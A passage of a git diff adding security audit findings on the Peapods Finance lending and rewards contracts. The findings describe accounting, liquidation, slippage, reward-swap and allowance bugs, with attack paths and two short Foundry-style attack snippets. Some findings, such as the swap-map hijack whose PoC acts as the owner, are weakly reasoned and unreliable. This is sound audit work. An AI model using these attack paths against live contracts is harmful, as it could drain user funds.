+# A vault can be considered not over-utilized when it is and vice versa upon depositing
+
+### Summary
+
+A vault can be considered not over-utilized when it is and vice versa upon depositing
+
+### Root Cause
+
+The root cause is only updating values for a particular vault when we are working with global values, this causes incorrect results.
+
+Upon depositing in `FraxlendPair`, we have a mechanic to off-board some assets to the underlying vault if it is over-utilized:
+```solidity
+ if (_vaultOverUtilized || _pairOverAllocation) {
+ ...
+ _withdrawToVault(_extAmount);
+ ...
+}
+```
+The issue is that the `_vaultOverUtilized` boolean used above can be incorrect, this is how it is computed:
+```solidity
+(1e18 * externalAssetVault.totalAssetsUtilized()) / externalAssetVault.totalAssets() > (1e18 * 8) / 10;
+```
+The `totalAssetsUtilized()` and `totalAssets()` function calls can be out-of-sync as before that, we have this code:
+```solidity
+externalAssetVault.whitelistUpdate(true);
+```
+This piece of code updates the asset metadata of a vault/pair. However, it only updates the metadata of the pair we are interacting from and not for the others due to the `whitelistUpdate()` implementation. This will result in out-of-sync values for `totalAssetsUtilized()` and `totalAssets()` as they are global values for all vaults/pairs.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. There are 2 vaults (`VaultA` and `VaultB`), each with an utilization of 100 tokens, both have a pending 10% CBR increase and both have the same `LendingAssetVault` as the external asset vault
+2. The current `totalAssetsUtilized` are 200 (`100 + 100 = 200`) and the `totalAssets` are 200, both values in the `LendingAssetVault`
+3. Upon a deposit in `FraxlendPair` which corresponds to `VaultA`, we update the utilization of `vaultA` to 110 (10% CBR increase as mentioned), the `totalAssetsUtilized` to 210 (10 token increase coming from the utilization increase) and `totalAssets` to 264 (again 10 token increase)
+4. The utilization ratio is `210 / 264 = 0,7954545455` which is below the required 0.8 or 80%
+5. The issue is that the utilization ratio is actually above 80% as if we factored in the other vault's pending update, we would have had `totalAssetsUtilized` equal to 220 and `totalAssets` equal to 274 which is `220 / 274 = 0,802919708`, over 80% which is the threshold
+
+### Impact
+
+A vault can be considered non over-utilized when it is which will result in a break of core contract functionality. The opposite can also happen if there is a pending CBR decrease.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Update the metadata for all vaults instead
\ No newline at end of file
diff --git a/074.md b/074.md
new file mode 100644
index 0000000..b602f6d
--- /dev/null
+++ b/074.md
@@ -0,0 +1,63 @@
+Fast Khaki Raccoon
+
+High
+
+# Liquidations will revert incorrectly due to an out-of-sync leftover collateral value
+
+### Summary
+
+Liquidations will revert incorrectly due to an out-of-sync value
+
+### Root Cause
+
+Upon liquidations, we have this code:
+```solidity
+_leftoverCollateral = (_userCollateralBalance.toInt256() - _optimisticCollateralForLiquidator.toInt256());
+
+_collateralForLiquidator = _leftoverCollateral <= 0 ? _userCollateralBalance : (_liquidationAmountInCollateralUnits * (LIQ_PRECISION + dirtyLiquidationFee)) / LIQ_PRECISION;
+```
+We compute an optimistic collateral for the liquidator which is based on `cleanLiquidationFee`. If the leftover collateral is not below 0, we recompute the collateral for liquidator based on the `dirtyLiquidationFee` which is a value lower than the clean fee (if we take a look at [Fraxlend](https://etherscan.io/address/0x78bb3aec3d855431bd9289fd98da13f9ebb7ef15#code), it is 9000 vs 10000 for the clean fee).
+
+Then, we have this code:
+```solidity
+if (_leftoverCollateral <= 0) {
+ ...
+} else if (_leftoverCollateral < minCollateralRequiredOnDirtyLiquidation.toInt256()) {
+ revert BadDirtyLiquidation();
+}
+```
+If the leftover collateral is <=, we end up in the first block where we compute shares to adjust. If it is above 0 however, we will revert if we are under `minCollateralRequiredOnDirtyLiquidation`. The issue is that the leftover collateral is still based on the optimistic calculation which results in a much lower leftover collateral, resulting in reverts when the actual leftover collateral is not even close to `minCollateralRequiredOnDirtyLiquidation`.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. Let's imagine the following state:
+- userCollateralBalance = 2.3e18
+- dirtyLiquidationFee = 9_000 (based on Fraxlend)
+- cleanLiquidationFee = 10_000 (based on Fraxlend)
+- `_liquidationAmountInCollateralUnits` is equal to 2e18 based on the shares to liquidate provided by the user
+- `minCollateralRequiredOnDirtyLiquidation` is 1.1e17
+2. `_optimisticCollateralForLiquidator` will equal `2e18 * (1e5 + 1e4) / 1e5 = 2.2e18`
+3. `_leftoverCollateral` equals `2.3e18 - 2.2e18 = 1e17`
+4. As it is above 0, we recompute the collateral for liquidator which will equal `2e18 * (1e5 + 9e3) / 1e5 = 2.18e18`
+5. As the leftover collateral is 1e17 and the minimum required collateral is 1.1e17, we will revert
+6. In reality, the actual leftover collateral is `2.3e18 - 2.18e18 = 1.2e17` as the collateral we will take out from the user is 2.18e18, not 2.2e18
+
+### Impact
+
+Liquidations will revert incorrectly which is an extremely time-sensitive operation, this can lead to bad debt for the protocol
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Update the leftover collateral based on the new collateral for the liquidator
\ No newline at end of file
diff --git a/075.md b/075.md
new file mode 100644
index 0000000..2c257a1
--- /dev/null
+++ b/075.md
@@ -0,0 +1,56 @@
+Fast Khaki Raccoon
+
+Medium
+
+# Skipping interest accruals will result in a loss for users
+
+### Summary
+
+Skipping interest accruals will result in a loss for users
+
+### Root Cause
+
+Upon adding interest through `FraxlendPairCore::addInterest()`, we have this piece of code:
+```solidity
+if (_currentUtilizationRate != 0 && _rateChange < (_currentUtilizationRate * minURChangeForExternalAddInterest) / UTIL_PREC) {
+ emit SkipAddingInterest(_rateChange);
+ } else {
+ (, _interestEarned, _feesAmount, _feesShare, _currentRateInfo) = _addInterest();
+ }
+```
+It skips interest for gas optimization purposes as explained in a comment above as according to the comment, the loss would be negligible. However, this report will explain a scenario where the loss exceeds the medium severity loss threshold.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. Let's imagine a scenario where the protocol hasn't been interacted with for a day, the interest of `FraxlendPair` is 10% and the total assets deposited are 1_000_000e18 which is 1,000,000\$ (assuming a stablecoin), the share to asset ratio is 1:1, thus total supply is 1_000_000e18 as well ([Fraxlend](https://etherscan.io/address/0x78bb3aec3d855431bd9289fd98da13f9ebb7ef15) which we are forking from has ~10 million in just one of their vaults, having 1/10 of that is perfectly achievable)
+2. With the above information, the pending interest is equal to `1_000_000e18 * 0.1 / 365 = 273972602739726027397` (rounding down which makes the scenario in favour of low severity, still we will reach losses for medium severity despite rounding down)
+3. Let's imagine `LendingAssetVault` has 250_000e18 total assets at a 1:1 share to asset ratio and 150_000e18 of them are utilized
+4. A user who has 100_000e18 shares in `LendingAssetVault` wants to withdraw
+5. Upon doing that, we will skip interest accrual due to the reason explained in the root cause, this will happen if the utilization ratio hasn't changed enough, we will also skip the `_updateAssetMetadataFromVault()` call due to the same reason
+6. The assets the user will receive are `100000e18 * 250000e18 / 250000e18 = 100000e18`, 100,000\$ as the share to asset ratio is 1:1
+7. If the interest was accrued and the metadata was updated, the calculations would be the following:
+- the new vault CBR will equal `1e18 * (1000000e18 + 273972602739726027397) / 1000000e18 = 1000273972602739726` (due to the pending interest)
+- `_vaultAssetRatioChange` will equal `1e18 * 1000273972602739726 / 1e18 - 1e18 = 273972602739726`
+- `_changedUtilizedState` will equal `150000e18 * 273972602739726 / 1e18 = 41095890410958900000`
+- this causes the total assets to increase by 41095890410958900000, to a total of `250000e18 + 41095890410958900000 = 250041095890410958900000`
+8. If the user withdrew with the accrued interest and the updated metadata (the actual legit state), he would have received `100000e18 * 250041095890410958900000 / 250000e18 = 100016438356164383560000` which equals ~100,016\$ which makes the 100,000\$ actually received in step 6 a loss of ~16$ and a percentage loss of ~0.016% - the losses needed for medium severity according to the [rules](https://docs.sherlock.xyz/audits/judging/guidelines#v.-how-to-identify-a-medium-issue) are 10\$ and 0.01%
+
+### Impact
+
+Loss of funds. The opposite scenario is also possible where the user deposits and is immediately in profit, this results in losses for the other suppliers.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Properly update the interest upon actions such as depositing and withdrawing
\ No newline at end of file
diff --git a/076.md b/076.md
new file mode 100644
index 0000000..8eb2fbb
--- /dev/null
+++ b/076.md
@@ -0,0 +1,93 @@
+Fast Khaki Raccoon
+
+Medium
+
+# `_distributeReward` can fail, leaving some rewards stuck
+
+### Summary
+
+When we distribute rewards with `_distributeReward`, we send all of the at once in a single for loop.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L240-L255
+```solidity
+ for (uint256 _i; _i < _allRewardsTokens.length; _i++) {
+ address _token = _allRewardsTokens[_i];
+
+ if (REWARDS_WHITELISTER.paused(_token)) {
+ continue;
+ }
+
+ // shares * rewardsPerShare[token] / 1e27
+ uint256 _amount = getUnpaid(_token, _wallet);
+ rewards[_token][_wallet].realized += _amount;
+
+ // shares * rewardsPerShare[token] / 1e27
+ rewards[_token][_wallet].excluded = _cumulativeRewards(_token, shares[_wallet], true);
+
+ if (_amount > 0) {
+ rewardsDistributed[_token] += _amount;
+ IERC20(_token).safeTransfer(_wallet, _amount);
+ emit DistributeReward(_wallet, _token, _amount);
+ }
+ }
+```
+
+This is very dangerous as if one token revers the whole TX would revert, costing the user their whole rewards, even though only one token is faulty. This can most commonly happen if or when users get blacklisted for specific tokens.
+
+### Root Cause
+
+Claiming all rewards in one TX.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L240-L255
+```solidity
+ for (uint256 _i; _i < _allRewardsTokens.length; _i++) {
+ address _token = _allRewardsTokens[_i];
+
+ if (REWARDS_WHITELISTER.paused(_token)) {
+ continue;
+ }
+
+ // shares * rewardsPerShare[token] / 1e27
+ uint256 _amount = getUnpaid(_token, _wallet);
+ rewards[_token][_wallet].realized += _amount;
+
+ // shares * rewardsPerShare[token] / 1e27
+ rewards[_token][_wallet].excluded = _cumulativeRewards(_token, shares[_wallet], true);
+
+ if (_amount > 0) {
+ rewardsDistributed[_token] += _amount;
+ IERC20(_token).safeTransfer(_wallet, _amount);
+ emit DistributeReward(_wallet, _token, _amount);
+ }
+ }
+```
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. Rewards are 10% USDT and 90% WETH
+2. User gets blacklisted for USDT
+2. He can't claim his rewards, even thought 90% of them are in a token he is not blacklisted for
+4. All of these assets would remain stuck inside the contract
+
+Pausing the reward token would not be sufficient given the fact that it would pause it for al users (not only this one).
+
+### Impact
+
+Users can't claim their rewards.
+Loss of funds.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Don't send rewards all at once, rather have the user chose for which tokens to claim.
\ No newline at end of file
diff --git a/078.md b/078.md
new file mode 100644
index 0000000..8ee6d3d
--- /dev/null
+++ b/078.md
@@ -0,0 +1,45 @@
+Bitter Honey Lion
+
+Medium
+
+# Improper Management of ERC20 Allowance Residue Leading to Token Theft Risk
+
+Summary: In the _tokenToPodLp function, when a DEX transaction fails, the allowance is not fully cleared, leaving a residue that can be maliciously exploited.
+
+Detailed Description:
+
+In the _tokenToPodLp function (code snippet L210-240), when DEX_ADAPTER.swapV3Single fails, only safeDecreaseAllowance is called to reduce the allowance, but it is not fully reset to 0. An attacker can exploit the residual allowance in subsequent transactions to transfer tokens.
+
+Vulnerability: Insufficient Allowance Reset
+
+Impact: An attacker can steal the balance of _rewardsToken in the contract, leading to user fund losses.
+
+PoC:
+
+
+// Attack steps:
+// 1. Trigger a DEX transaction failure (e.g., set maxSwap limit)
+address maliciousToken = pod.lpRewardsToken();
+uint256 initialBalance = IERC20(maliciousToken).balanceOf(address(autoCompoundingPodLp));
+
+// 2. Trigger allowance residue (partial allowance not cleared)
+vm.prank(owner);
+autoCompoundingPodLp.processAllRewardsTokensToPodLp(0, block.timestamp);
+
+// 3. Exploit the residual allowance to transfer tokens
+uint256 remainingAllowance = IERC20(maliciousToken).allowance(address(autoCompoundingPodLp), address(DEX_ADAPTER));
+if (remainingAllowance > 0) {
+ vm.prank(attacker);
+ DEX_ADAPTER.swapV3Single(maliciousToken, attackerToken, REWARDS_POOL_FEE, remainingAllowance, 0, attacker);
+}
+
+
+Recommendation:
+
+Use forceApprove to forcibly reset the allowance (reference 1):
+
+Code snippet:https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L210-240
+
+// Fix code (replace safeDecreaseAllowance):
+IERC20(_rewardsToken).safeApprove(address(DEX_ADAPTER), 0);
+
\ No newline at end of file
diff --git a/079.md b/079.md
new file mode 100644
index 0000000..76a89c5
--- /dev/null
+++ b/079.md
@@ -0,0 +1,85 @@
+Fast Khaki Raccoon
+
+Medium
+
+# `_swapForRewards` math is wrong, which would send a bigger fee to the admin
+
+### Summary
+
+`_swapForRewards` wrongly calculates the new amounts using an outdated value, which would cause the admin to receive a higher fee
+
+### Root Cause
+
+`depositFromPairedLpToken` would first reduce `_adminAmt`, then use it to calculate `_amountOut`.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L149-L150
+```solidity
+ uint256 _adminAmt = _getAdminFeeFromAmount(_amountTkn);
+ _amountTkn -= _adminAmt;
+
+ // ...
+
+ uint256 _amountOut = _token0 == PAIRED_LP_TOKEN
+ ? (_rewardsPriceX96 * _amountTkn) / FixedPoint96.Q96
+ : (_amountTkn * FixedPoint96.Q96) / _rewardsPriceX96;
+
+ _swapForRewards(_amountTkn, _amountOut, _adminAmt);
+```
+
+Later it would use the same reduced amount to calculate the new amounts if `_rewardsSwapAmountInOverride > 0`, not knowing that `_amountOut (converted back into _amountIn ) + _adminAmt > _amountIn`, which would result in `_adminAmt` + `_amountIn (needed for _amountOut)` to be bigger than `_rewardsSwapAmountInOverride`
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L292-L297
+```solidity
+ function _swapForRewards(uint256 _amountIn, uint256 _amountOut, uint256 _adminAmt) internal {
+ if (_rewardsSwapAmountInOverride > 0) {
+ _adminAmt = (_adminAmt * _rewardsSwapAmountInOverride) / _amountIn;
+ _amountOut = (_amountOut * _rewardsSwapAmountInOverride) / _amountIn;
+ _amountIn = _rewardsSwapAmountInOverride;
+ }
+```
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. 1k for swap, fee 10%, price - 2 USD
+2. Admin fee = 1k * 10% = 100 fee
+3. Out = 900 / 2 = 450
+
+results: **in = 900, fee = 100, out = 450**
+
+1. `_rewardsSwapAmountInOverride` = 50
+2. admin = 100 * 50 / 900 = 5.55
+3. out = 450 * 50 / 900 = 25
+4. in = 50
+
+As we can see out `_rewardsSwapAmountInOverride` is 50, however we need 50 for the 25 out (as price is 2 USD), and out fee is 5.5, which is outside this 50, and not 10% of it, but 11%, which is a 10% increase in fee.
+
+### Impact
+
+Admin receives a higher fee
+Math is wrong
+Fee is outside the prev. `_rewardsSwapAmountInOverride` value, resulting in a bigger swap and a higher fee.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Add the `_adminAmt` to `_amountIn` when in the if:
+
+```solidity
+ if (_rewardsSwapAmountInOverride > 0) {
+ _amountIn += _adminAmt;
+ _adminAmt = (_adminAmt * _rewardsSwapAmountInOverride) / _amountIn;
+ _amountOut = (_amountOut * _rewardsSwapAmountInOverride) / _amountIn;
+ _amountIn = _rewardsSwapAmountInOverride;
+ }
+```
\ No newline at end of file
diff --git a/080.md b/080.md
new file mode 100644
index 0000000..cabd692
--- /dev/null
+++ b/080.md
@@ -0,0 +1,95 @@
+Fast Khaki Raccoon
+
+High
+
+# `_swapForRewards` can make the contract insolvent
+
+### Summary
+
+`_rewardsSwapAmountInOverride` can be overwritten to `REWARDS_SWAP_OVERRIDE_MIN` which if a bigger value would cause insolvency
+
+### Root Cause
+
+The catch overrides `_rewardsSwapAmountInOverride` to be `REWARDS_SWAP_OVERRIDE_MIN`, when we are `_amountIn / 2 < REWARDS_SWAP_OVERRIDE_MIN `
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L313-L318
+```solidity
+ } catch {
+ _rewardsSwapAmountInOverride = _amountIn / 2 < REWARDS_SWAP_OVERRIDE_MIN
+ ? REWARDS_SWAP_OVERRIDE_MIN
+ : _amountIn / 2;
+
+ IERC20(PAIRED_LP_TOKEN).safeDecreaseAllowance(address(DEX_ADAPTER), _amountIn);
+ emit RewardSwapError(_amountIn);
+ }
+```
+
+However if we are way bellow this value it can turn out `REWARDS_SWAP_OVERRIDE_MIN > _amountIn`. And since we have set `_rewardsSwapAmountInOverride` already, the next time we invoke `_swapForRewards` we would enter the bellow case and possably fail the swap if `REWARDS_SWAP_OVERRIDE_MIN` is still bigger than our initial `_amountIn`.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L293-L297
+```solidity
+ function _swapForRewards(uint256 _amountIn, uint256 _amountOut, uint256 _adminAmt) internal {
+ if (_rewardsSwapAmountInOverride > 0) {
+ _adminAmt = (_adminAmt * _rewardsSwapAmountInOverride) / _amountIn;
+ _amountOut = (_amountOut * _rewardsSwapAmountInOverride) / _amountIn;
+ _amountIn = _rewardsSwapAmountInOverride;
+ }
+```
+
+Even worse than a failed TX would be the case of insolvency, where there are enough balances to go for the swap, but the non-distributed rewards, aka `_amountIn` is smaller than `_rewardsSwapAmountInOverride`, which would pass the swap, but spend some of the rewards, which were accrued prev. cycles.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. We calculate `_amountTkn` to be 40
+```solidity
+ uint256 _unclaimedPairedLpTkns = rewardsDeposited[PAIRED_LP_TOKEN] - rewardsDistributed[PAIRED_LP_TOKEN];
+
+ uint256 _amountTkn = IERC20(PAIRED_LP_TOKEN).balanceOf(address(this)) - _unclaimedPairedLpTkns;
+```
+
+2. Perform a swap, but fail, entering the `catch` and saving the new `_rewardsSwapAmountInOverride` to 100 (we are on ETH and gas may be a few bucks so, it won't be profitable if we swap 10 or 20 USD worth of tokens)
+
+```solidity
+ } catch {
+ _rewardsSwapAmountInOverride = _amountIn / 2 < REWARDS_SWAP_OVERRIDE_MIN
+ ? REWARDS_SWAP_OVERRIDE_MIN
+ : _amountIn / 2;
+
+ IERC20(PAIRED_LP_TOKEN).safeDecreaseAllowance(address(DEX_ADAPTER), _amountIn);
+ emit RewardSwapError(_amountIn);
+ }
+```
+
+3. Next time when `depositFromPairedLpToken` calculates `_amountTkn` to be 90 tokens
+4. We enter `_swapForRewards` and set the new swapped amount to `_rewardsSwapAmountInOverride`- 100 tokens
+
+5. The initial calculation for this was that we had 1000 LP tokens, but 910 were unclaimed, meaning that we have the balance to execute the swap
+```solidity
+// 1000 - 910 = 90
+uint256 _amountTkn = IERC20(PAIRED_LP_TOKEN).balanceOf(address(this)) - _unclaimedPairedLpTkns;
+```
+6. The swap is executed, which causes insolvency in our `PAIRED_LP_TOKEN` as we have swapped more of it than there are `_unclaimedPairedLpTkns` ones, meaning that if all of the users who have it as a reward token try to claim it, they won't be able to, as contract balance is 900, but `_unclaimedPairedLpTkns` is 910.
+
+This scenario will prob. occur multiple times, and can even be provoked by a malicious user if he just calls `depositFromPairedLpToken` 2 times in a row and reverts to 1st swap to enter the catch (can be pool price manipulation or anything else, doesn't matter how he reverts it).
+
+
+
+### Impact
+
+Insolvency, last user/users not being able to claim their rewards.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Consider redesigning this whole function. The concept of min swap is useful, but make sure to check our existing amount if they are enough to perform the swap.
\ No newline at end of file
diff --git a/081.md b/081.md
new file mode 100644
index 0000000..89248a8
--- /dev/null
+++ b/081.md
@@ -0,0 +1,47 @@
+Fast Khaki Raccoon
+
+Medium
+
+# No slippage upon withdrawing from `LendingAssetVault` will result in a loss for the withdrawer
+
+### Summary
+
+No slippage upon withdrawing from `LendingAssetVault` will result in a loss for the withdrawer
+
+### Root Cause
+
+Upon withdrawing from `LendingAssetVault`, we have this code:
+```solidity
+ function withdraw(uint256 _assets, address _receiver, address _owner) external override returns (uint256 _shares) {
+ _updateInterestAndMdInAllVaults(address(0));
+ _shares = convertToShares(_assets);
+ _withdraw(_shares, _assets, _owner, _msgSender(), _receiver);
+ }
+```
+As seen, there is no slippage which will cause a user to receive less than expected in a certain case.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. User wants to withdraw his 100 shares and expects to receive 100 assets in return
+2. While his transaction is in the mempool, there is a bad debt liquidation in the underlying pair (`FraxlendPair`)
+3. Instead of receiving 100 assets, he only receives 50 as the share value went down due to step 2
+
+### Impact
+
+Users receive less than expected
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Allow users to provide the minimum amount of assets they are willing to receive
\ No newline at end of file
diff --git a/082.md b/082.md
new file mode 100644
index 0000000..99a3015
--- /dev/null
+++ b/082.md
@@ -0,0 +1,74 @@
+Fast Khaki Raccoon
+
+Medium
+
+# `LendingAssetVault` is not ERC4626 compliant
+
+### Summary
+
+`LendingAssetVault` is not ERC4626 compliant which is expected as seen in the README:
+> Is the codebase expected to comply with any specific EIPs?
+
+> Many of our contracts implement ERC20 and ERC4626 which we attempt to comply with in the entirety of those standards for contracts that implement them.
+
+### Root Cause
+
+Upon calling `LendingAssetVault::previewRedeem()`, we simply return `_previewConvertToAssets()` which uses the following formula to compute the assets the user would receive:
+```solidity
+_assets = (_shares * _previewCbr()) / PRECISION;
+```
+`_previewCbr()` looks like this:
+```solidity
+ function _previewCbr() internal view returns (uint256) {
+ uint256 _supply = totalSupply();
+ uint256 _previewTotalAssets = _previewAddInterestAndMdInAllVaults();
+ return _supply == 0 ? PRECISION : (PRECISION * _previewTotalAssets) / _supply;
+ }
+```
+`_previewAddInterestAndMdInAllVaults()` has these 2 important lines and then has its usual utilization changes calculations:
+```solidity
+(, , , , VaultAccount memory _totalAsset, ) = IFraxlendPair(_vault).previewAddInterest();
+uint256 _newVaultCbr = _totalAsset.toAmount(PRECISION, false);
+```
+`FraxlendPair::previewAddInterest()` calculates the interest without factoring in an important condition that exists upon actually adding interest through `FraxlendPair::addInterest()`:
+```solidity
+if (_currentUtilizationRate != 0 && _rateChange < (_currentUtilizationRate * minURChangeForExternalAddInterest) / UTIL_PREC) {
+ emit SkipAddingInterest(_rateChange);
+} else {
+ (, _interestEarned, _feesAmount, _feesShare, _currentRateInfo) = _addInterest();
+}
+```
+This results in the preview function accruing interest even though we might not accrue interest upon an actual redeem causing the preview function to return more assets than the actual amount, this is incompliant based on the [ERC4626](https://eips.ethereum.org/EIPS/eip-4626) standard.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. User calls `previewRedeem()` for his 100 shares and we preview a 20 asset interest, thus the function returns `100 * (150 + 20) / 150 = 113,3333333333` assets (simplifying the asset conversion formula a bit)
+2. This is incorrect as upon actually redeeming and trying to update the vault metadata, we have this code:
+```solidity
+(uint256 _interestEarned, , , , , ) = IFraxlendPair(_vault).addInterest(false);
+if (_interestEarned > 0) {
+ _updateAssetMetadataFromVault(_vault);
+}
+```
+3. Adding interest through `addInterest()` might be skipped if the utilisation ratio change is not big enough, thus we might skip the 20 asset accrual
+4. User will only receive 100 assets, ~13 assets less than what the preview function returned
+
+### Impact
+
+ERC4626 incompliance
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Upon calling the preview functions, only add accrued interest if the interest would actually be accrued
\ No newline at end of file
diff --git a/083.md b/083.md
new file mode 100644
index 0000000..45c645d
--- /dev/null
+++ b/083.md
@@ -0,0 +1,64 @@
+Fast Khaki Raccoon
+
+Medium
+
+# Pairs will have less available assets to withdraw from the vault due to incorrect implementation
+
+### Summary
+
+Pairs will have less available assets to withdraw from the vault due to incorrect implementation
+
+### Root Cause
+
+The assets available for a vault are computed using this function:
+```solidity
+function totalAvailableAssetsForVault(address _vault) public view override returns (uint256 _totalVaultAvailable) {
+ uint256 _overallAvailable = totalAvailableAssets();
+
+ _totalVaultAvailable = vaultMaxAllocation[_vault] > vaultDeposits[_vault] ? vaultMaxAllocation[_vault] - vaultDeposits[_vault] : 0;
+
+ _totalVaultAvailable = _overallAvailable < _totalVaultAvailable ? _overallAvailable : _totalVaultAvailable;
+ }
+```
+The issue is that the `vaultDeposits` value for a particular vault can be higher than the actual value, resulting in less available assets. This is because upon updating the vault metadata, we update these 3 values:
+```solidity
+vaultUtilization[_vault] = ...;
+_totalAssetsUtilized = _totalAssetsUtilized - _currentAssetsUtilized + vaultUtilization[_vault];
+_totalAssets = _totalAssets - _currentAssetsUtilized + vaultUtilization[_vault];
+```
+Then, upon a vault returning the borrowed assets, we have this code:
+```solidity
+vaultDeposits[_vault] -= _assetAmt > vaultDeposits[_vault] ? vaultDeposits[_vault] : _assetAmt;
+vaultUtilization[_vault] -= _assetAmt;
+_totalAssetsUtilized -= _assetAmt;
+```
+This code is correct if the CBR has went up as the vault deposits will be less than the vault utilization, thus they will simply cap at the vault deposits value and go to 0 due to the code used in the `vaultDeposits` line above. However, it is incorrect if the CBR went down due to a reason like bad debt liquidation in the underlying vault. In that case, vault utilization can go to 0 while the vault deposits can stay at a value above 0 even though there are actually no deposits.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. The `LendingAssetVault` has 100 assets and 100 shares, 100 of those assets are utilized and there are also 100 vault deposits (very simple scenario)
+2. Bad debt liquidation occurs and upon updating the metadata, the assets go to 50 and the utilized assets go to 50 as well, vault deposits stay at 100
+3. `LendingAssetVault::whitelistWithdraw()` is called which brings the utilization and total assets to 0 while the vault deposits go to 50
+4. `LendingAssetVault::totalAvailableAssetsForVault()` will now return 50 less assets than the actual amount as there are not actually any deposits into the vault
+
+### Impact
+
+Available assets for a vault will go down and down overtime on each bad debt liquidation, resulting in the users who have supplied to it to have their assets not providing any value, thus less interest as they won't be utilized which results in loss of funds for those suppliers. Also, `FraxlendPair` will not function properly as it can not utilize assets that are supposed to be utilizable.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+2 options:
+- if the utilized assets of a vault go to 0, also zero out the vault deposits
+- remove the vault deposits mapping altogether as they simply add another weird thing to handle, their only use case is the available assets so simply remove them and think of a different way to compute the available assets based on the other values that are already in the code
\ No newline at end of file
diff --git a/084.md b/084.md
new file mode 100644
index 0000000..b59dcaf
--- /dev/null
+++ b/084.md
@@ -0,0 +1,38 @@
+Bitter Honey Lion
+
+High
+
+# Lack of Swap Path Configuration Permissions Leading to LP Hijacking
+
+Summary: swapMaps can be arbitrarily set to malicious trading pairs, causing funds to be routed to the attacker's contract.
+
+Detailed Description:
+
+In the setSwapMap function (L470-473), the validity of the _pools parameter is not verified, allowing attackers to set malicious trading pairs to steal tokens.
+
+Vulnerability: Swap Path Hijacking Vulnerability
+
+Impact: Contract funds are transferred to the attacker's address via malicious trading pairs.
+
+PoC:
+
+
+// Attacker controls malicious trading pair
+address attackerPool = deployMaliciousPool();
+AutoCompoundingPodLp.Pools memory maliciousPools = AutoCompoundingPodLp.Pools(attackerPool, address(0));
+
+// Set malicious path and trigger transaction
+vm.prank(owner);
+autoCompoundingPodLp.setSwapMap(inputToken, outputToken, maliciousPools);
+
+
+// User deposit is hijacked
+vm.prank(user);
+autoCompoundingPodLp.deposit(100 ether, user);
+
+Code Snippet
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L470-473
+
+Recommendation:
+
+Add permission verification to allow only trusted addresses to modify swapMaps
\ No newline at end of file
diff --git a/085.md b/085.md
new file mode 100644
index 0000000..4ecb2e0
--- /dev/null
+++ b/085.md
@@ -0,0 +1,89 @@
+Fast Khaki Raccoon
+
+Medium
+
+# `_swapForRewards` can be MEVed
+
+### Summary
+
+Users and MEV bots can extract value from the system as `_swapForRewards` will sometimes perform a faulty swap.
+
+### Root Cause
+
+The bellow try would execute a swap with 0 `amountOut` when `amountIn == REWARDS_SWAP_OVERRIDE_MIN`
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L300-L313
+```solidity
+ try DEX_ADAPTER.swapV3Single(
+ PAIRED_LP_TOKEN,
+ rewardsToken,
+ REWARDS_POOL_FEE,
+ _amountIn,
+ //@finding M users can MEV this with FR and backrun to manipulate the prices
+ _amountIn == REWARDS_SWAP_OVERRIDE_MIN
+ ? 0
+ : (_amountOut * (1000 - REWARDS_SWAP_SLIPPAGE)) / 1000,
+ address(this)
+ ) {
+```
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. `depositFromPairedLpToken` is triggered, however due to slippage or any other reason the swap fails
+2. We have entered the `catch` and the second case in the short if, which have set `_rewardsSwapAmountInOverride` to `REWARDS_SWAP_OVERRIDE_MIN`
+```solidity
+ _rewardsSwapAmountInOverride = _amountIn / 2 < REWARDS_SWAP_OVERRIDE_MIN
+ ? REWARDS_SWAP_OVERRIDE_MIN
+ : _amountIn / 2;
+```
+3. The next user or MEV bot who calls `depositFromPairedLpToken` would trigger this `if`, which would set the new `_amountIn` to `_rewardsSwapAmountInOverride`, which is equal to `REWARDS_SWAP_OVERRIDE_MIN`
+```solidity
+ if (_rewardsSwapAmountInOverride > 0) {
+ _adminAmt = (_adminAmt * _rewardsSwapAmountInOverride) / _amountIn;
+ _amountOut = (_amountOut * _rewardsSwapAmountInOverride) / _amountIn;
+ _amountIn = _rewardsSwapAmountInOverride;
+ }
+```
